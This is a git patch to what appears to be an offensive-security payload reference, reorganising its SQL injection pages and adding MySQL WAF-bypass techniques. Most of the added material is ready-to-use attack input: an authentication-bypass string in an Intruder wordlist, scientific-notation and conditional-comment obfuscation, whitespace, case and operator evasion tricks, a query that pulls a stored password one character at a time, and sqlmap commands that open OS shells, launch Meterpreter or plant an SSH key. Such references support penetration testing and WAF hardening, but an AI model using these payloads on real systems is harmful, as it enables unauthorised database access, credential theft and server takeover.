From a0c14e52996a516466428c8e6420bec4e97534fd Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sun, 3 Sep 2023 14:26:03 +0200 Subject: [PATCH] SQL injections - WAF bypass --- SQL Injection/Intruder/Auth_Bypass.txt | 1 + SQL Injection/MySQL Injection.md | 85 +++++++ SQL Injection/README.md | 318 ++++++++----------------- 3 files changed, 190 insertions(+), 214 deletions(-) diff --git a/SQL Injection/Intruder/Auth_Bypass.txt b/SQL Injection/Intruder/Auth_Bypass.txt index d3e9737..55c0918 100644 --- a/SQL Injection/Intruder/Auth_Bypass.txt +++ b/SQL Injection/Intruder/Auth_Bypass.txt @@ -74,4 +74,5 @@ admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* +1' or 1.e(1) or '1'='1 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md index 683b8b6..5d19b43 100644 --- a/SQL Injection/MySQL Injection.md +++ b/SQL Injection/MySQL Injection.md @@ -33,6 +33,11 @@ * [MYSQL Out of band](#mysql-out-of-band) * [DNS exfiltration](#dns-exfiltration) * [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing) +* [MYSQL WAF Bypass](#mysql-waf-bypass) + * [Alternative to information schema](#alternative-to-information-schema) + * [Alternative to version](#alternative-to-version) + * [Scientific Notation](#scientific-notation) + * [Conditional Comments](#conditional-comments) * [References](#references) @@ -549,6 +554,85 @@ select 'osanda' into outfile '\\\\error\\abc'; load data infile '\\\\error\\abc' into table database.table_name; ``` + +## MYSQL WAF Bypass + +### Alternative to information schema + +`information_schema.tables` alternative + +```sql +select * from mysql.innodb_table_stats; ++----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ +| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | ++----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ +| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | +| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | +... ++----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ + +mysql> show tables in dvwa; ++----------------+ +| Tables_in_dvwa | ++----------------+ +| guestbook | +| users | ++----------------+ +``` + + +### Alternative to version + +```sql +mysql> select @@innodb_version; ++------------------+ +| @@innodb_version | ++------------------+ +| 5.6.31 | ++------------------+ + +mysql> select @@version; ++-------------------------+ +| @@version | ++-------------------------+ +| 5.6.31-0ubuntu0.15.10.1 | ++-------------------------+ + +mysql> mysql> select version(); ++-------------------------+ +| version() | ++-------------------------+ +| 5.6.31-0ubuntu0.15.10.1 | ++-------------------------+ +``` + + +### Scientific Notation + +In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. +The format is: `base 'e' exponent`. + +For example: +* `1e3` represents `1 x 10^3` which is `1000`. +* `1.5e3` represents `1.5 x 10^3` which is `1500`. +* `2e-3` represents `2 x 10^-3` which is `0.002`. + +The following queries are equivalent: +* `SELECT table_name FROM information_schema 1.e.tables` +* `SELECT table_name FROM information_schema .tables` + +In the same way, the common payload to bypass authentication `' or ''='` is equivalent to `' or 1.e('')='` and `1' or 1.e(1) or '1'='1`. +This technique can be used to obfuscate queries to bypass WAF, for example: `1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2` + + +### Conditional Comments + +* `/*! ... */`: This is a conditional MySQL comment. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the `/*!`. If the MySQL version is less than the specified number, the code inside the comment will be ignored. + * `/*!12345UNION*/`: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher. + * `/*!31337SELECT*/`: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher. +Examples: `/*!12345UNION*/`, `/*!31337SELECT*/` + + ## References - [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) @@ -559,3 +643,4 @@ load data infile '\\\\error\\abc' into table database.table_name; - [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased) - [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100) - [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases) +- [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection - Marc Olivier Bergeron - Oct 19, 2021](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) diff --git a/SQL Injection/README.md b/SQL Injection/README.md index 13be815..b682947 100644 --- a/SQL Injection/README.md +++ b/SQL Injection/README.md @@ -39,62 +39,64 @@ Attempting to manipulate SQL queries may have goals including: * [Polyglot injection](#polyglot-injection-multicontext) * [Routed injection](#routed-injection) * [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update) -* [WAF Bypass](#waf-bypass) +* [Generic WAF Bypass](#generic-waf-bypass) + * [White spaces alternatives](#white-spaces-alternatives) + * [No Comma Allowed](#no-comma-allowed) + * [No Equal Allowed](#no-equal-allowed) + * [Case modification](#case-modification) + ## Entry point detection Detection of an SQL injection entry point -Simple characters -```sql -' -%27 -" -%22 -# -%23 -; -%3B -) -Wildcard (*) -' # required for XML content -``` +* **Error Messages**: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point. + * Simple characters + ```sql + ' + %27 + " + %22 + # + %23 + ; + %3B + ) + Wildcard (*) + ' # required for XML content + ``` + * Multiple encoding + ```sql + %%2727 + %25%27 + ``` + * Unicode characters + ``` + Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") + Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') + ``` -Multiple encoding +* **Tautology-Based SQL Injection**: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering `admin' OR '1'='1` in a username field might log you in as the admin if the system is vulnerable. + * Merging characters + ```sql + `+HERP + '||'DERP + '+'herp + ' 'DERP + '%20'HERP + '%2B'HERP + ``` + * Logic Testing + ```sql + page.asp?id=1 or 1=1 -- true + page.asp?id=1' or 1=1 -- true + page.asp?id=1" or 1=1 -- true + page.asp?id=1 and 1=2 -- false + ``` -```sql -%%2727 -%25%27 -``` +* **Timing Attacks**: Inputting SQL commands that cause deliberate delays (e.g., using `SLEEP` or `BENCHMARK` functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable. -Merging characters -```sql -`+HERP -'||'DERP -'+'herp -' 'DERP -'%20'HERP -'%2B'HERP -``` - -Logic Testing - -```sql -page.asp?id=1 or 1=1 -- true -page.asp?id=1' or 1=1 -- true -page.asp?id=1" or 1=1 -- true -page.asp?id=1 and 1=2 -- false -``` - -Weird characters - -```sql -Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was -transformed into U+0022 QUOTATION MARK (") -Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was -transformed into U+0027 APOSTROPHE (') -``` ## DBMS Identification @@ -126,8 +128,11 @@ transformed into U+0027 APOSTROPHE (') ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` + ## SQL injection using SQLmap +[sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers. + ### Basic arguments for SQLmap ```powershell @@ -156,19 +161,11 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrat ### Shell -```powershell -SQL Shell -python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell +* SQL Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell` +* OS Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell` +* Meterpreter: `python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn` +* SSH Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/` -Simple Shell -python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell - -Dropping a reverse-shell / meterpreter -python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn - -SSH Shell by dropping an SSH key -python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ -``` ### Crawl a website with SQLmap and auto-exploit @@ -429,49 +426,45 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` -## WAF Bypass + +## Generic WAF Bypass ### White spaces alternatives -No Space (%20) - bypass using whitespace alternatives +* No space allowed (`%20`) - bypass using whitespace alternatives + ```sql + ?id=1%09and%091=1%09-- + ?id=1%0Dand%0D1=1%0D-- + ?id=1%0Cand%0C1=1%0C-- + ?id=1%0Band%0B1=1%0B-- + ?id=1%0Aand%0A1=1%0A-- + ?id=1%A0and%A01=1%A0-- + ``` +* No whitespace - bypass using comments + ```sql + ?id=1/*comment*/and/**/1=1/**/-- + ``` +* No Whitespace - bypass using parenthesis + ```sql + ?id=(1)and(1)=(1)-- + ``` +* Whitespace alternatives by DBMS + ```sql + -- Example of query where spaces were replaced by ascii characters above 0x80 + ♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼ + ``` -```sql -?id=1%09and%091=1%09-- -?id=1%0Dand%0D1=1%0D-- -?id=1%0Cand%0C1=1%0C-- -?id=1%0Band%0B1=1%0B-- -?id=1%0Aand%0A1=1%0A-- -?id=1%A0and%A01=1%A0-- -``` - -No Whitespace - bypass using comments - -```sql -?id=1/*comment*/and/**/1=1/**/-- -``` - -No Whitespace - bypass using parenthesis - -```sql -?id=(1)and(1)=(1)-- -``` - -Whitespace alternatives by DBMS -| DBMS | ASCII characters in hexadicimal | -| ---- | ------------------------------- | -| SQLite3 | 0A, 0D, 0C, 09, 20 | -| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | -| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | +| DBMS | ASCII characters in hexadicimal | +| ---------- | ------------------------------- | +| SQLite3 | 0A, 0D, 0C, 09, 20 | +| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | +| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | -| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 | +| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 | -Example of query where spaces were replaced by ascii characters above 0x80 -``` -♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼ -``` -### No Comma +### No Comma Allowed Bypass using OFFSET, FROM and JOIN @@ -481,7 +474,8 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` -### No Equal + +### No Equal Allowed Bypass using LIKE/NOT IN/IN/BETWEEN @@ -492,128 +486,24 @@ Bypass using LIKE/NOT IN/IN/BETWEEN ?id=1 and substring(version(),1,1) between 3 and 4 ``` + ### Case modification -Bypass using uppercase/lowercase (see keyword AND) +* Bypass using uppercase/lowercase (see keyword AND) + ```sql + ?id=1 AND 1=1# + ?id=1 AnD 1=1# + ?id=1 aNd 1=1# + ``` +* Bypass using keywords case insensitive / Bypass using an equivalent operator + ```sql + AND -> && + OR -> || + = -> LIKE,REGEXP, BETWEEN, not < and not > + > X -> not between 0 and X + WHERE -> HAVING + ``` -```sql -?id=1 AND 1=1# -?id=1 AnD 1=1# -?id=1 aNd 1=1# -``` - -Bypass using keywords case insensitive / Bypass using an equivalent operator - -```sql -AND -> && -OR -> || -= -> LIKE,REGEXP, BETWEEN, not < and not > -> X -> not between 0 and X -WHERE -> HAVING -``` - -### Obfuscation by DBMS - -MySQL -``` -1.UNION SELECT 2 -3.2UNION SELECT 2 -1e0UNION SELECT 2 -SELECT\N/0.e3UNION SELECT 2 -1e1AND-0.0UNION SELECT 2 -1/*!12345UNION/*!31337SELECT/*!table_name*/ -{ts 1}UNION SELECT.`` 1.e.table_name -SELECT $.`` 1.e.table_name -SELECT{_ .``1.e.table_name} -SELECT LightOS . ``1.e.table_name LightOS -SELECT information_schema 1337.e.tables 13.37e.table_name -SELECT 1 from information_schema 9.e.table_name -``` - -MSSQL -``` -.1UNION SELECT 2 -1.UNION SELECT.2alias -1e0UNION SELECT 2 -1e1AND-1=0.0UNION SELECT 2 -SELECT 0xUNION SELECT 2 -SELECT\UNION SELECT 2 -\1UNION SELECT 2 -SELECT 1FROM[table]WHERE\1=\1AND\1=\1 -SELECT"table_name"FROM[information_schema].[tables] -``` - -Oracle -``` -1FUNION SELECT 2 -1DUNION SELECT 2 -SELECT 0x7461626c655f6e616d65 FROM all_tab_tables -SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables -SELECT%00table_name%00FROM%00all_tab_tables -``` - -### More MySQL specific - -`information_schema.tables` alternative - -```sql -select * from mysql.innodb_table_stats; -+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ -| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | -+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ -| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | -| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | -... -+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ - -mysql> show tables in dvwa; -+----------------+ -| Tables_in_dvwa | -+----------------+ -| guestbook | -| users | -+----------------+ -``` - -Version Alternative - -```sql -mysql> select @@innodb_version; -+------------------+ -| @@innodb_version | -+------------------+ -| 5.6.31 | -+------------------+ - -mysql> select @@version; -+-------------------------+ -| @@version | -+-------------------------+ -| 5.6.31-0ubuntu0.15.10.1 | -+-------------------------+ - -mysql> mysql> select version(); -+-------------------------+ -| version() | -+-------------------------+ -| 5.6.31-0ubuntu0.15.10.1 | -+-------------------------+ -``` - -#### WAF bypass for MySQL using scientific notation - -Blocked -```sql -' or ''=' -``` -Working -```sql -' or 1.e('')=' -``` -Obfuscated query -```sql -1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2 -``` ## Labs